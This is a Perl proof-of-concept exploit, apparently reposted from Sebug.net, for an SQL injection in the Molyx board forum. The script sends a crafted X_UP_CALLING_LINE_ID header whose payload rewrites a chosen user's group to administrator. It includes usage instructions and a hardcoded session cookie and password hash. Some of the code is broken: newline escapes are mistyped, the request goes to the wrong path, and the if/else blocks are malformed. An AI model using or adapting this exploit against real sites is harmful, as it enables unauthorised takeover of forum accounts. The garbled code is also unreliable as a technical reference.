molyx board X_UP_CALLING_LINE_ID sql injection Remote Privilege Exploit 's

来源：Sebug.net
# molyx board X_UP_CALLING_LINE_ID sql injection Remote Privilege Exploit
#!/usr/bin/perl -w
use IO::Socket;
## PROOF-OF-CONCEPT
## * work only with php5 or php4&&GPC=off
## Example:
## C:/>mlexp.pl 127.0.0.1 /bbs/ 1
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] OK
## [~] wait for response...
## [+] Expoilted! Maybe Id=1 is Admin Now!!
##
if (@ARGV < 3)
{
print "/n/n";
print "|****************************************************************|/n";
print " mlexp.pl/n";
print " molyx board X_UP_CALLING_LINE_ID sql injection Remote Privilege Exploit (POC version)/n";
print " Usage: mlexp.pl <server> <folder> <user_id> /n";
print " e.g.: mlexp.pl 127.0.0.1 /bbs/ 1/n";
print " [~] <server> - server ip/n";
print " [~] <folder> - forum folder/n";
print " [~] <user_id> - user id /n";
print "|****************************************************************|/n";
print "/n/n";
exit(1);
}
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "[~] prepare to connect.../n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected/n";
print "[~] prepare to send data.../n";
$cookie='redbbssessionid=5604730f9608848e; cnzz02=11; rtime=0; ltime=1168828899792; cnzz_eid=75851673-; redbbsuserid=52863; redbbspassword=5d0a98dc161ba9e55208f34e2b2ef473; redbbslanguage=zh-cn ';
$useragent='Opera/9.01 (Windows NT 5.1; U; zh-cn)';
$evildata="0',usergroupid=4 where id=$user_id/*";
$script='/wap/associate.php?do=1';
$path =$folder.$script;
$count=$count+1;
$message = "POST ".$folder." HTTP/1.1/r/n";
$message .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1/r/n";
$message .= "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8/r/n";
$message .= "Referer: http://".$server.$folder."/r/n";
$message .= "Content-Type: application/x-www-form-urlencoded/r/n";
$message .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1/r/n";
$message .= "Host: ".$server."/r/n";
$message .= "User-Agent: ".$useragent."/r/n";
$message .= "Connection: Keep-Alive/r/n";
$message .= "X_UP_CALLING_LINE_ID: ".$evildata."/r/n";
$message .= "Cookie: ".$cookie."/r/n";
$message .= "/r/n";
print $socket "$message";
print "[+] OK/n";
print "[~] wait for response.../n";
while ($answer = <$socket>)
{
if ($answer =~ /操作成功完成/)
print "[+] Expoilted! Maybe Id=$user_id is Admin Now!!/n"
else print "[-] exploit failed/n";
}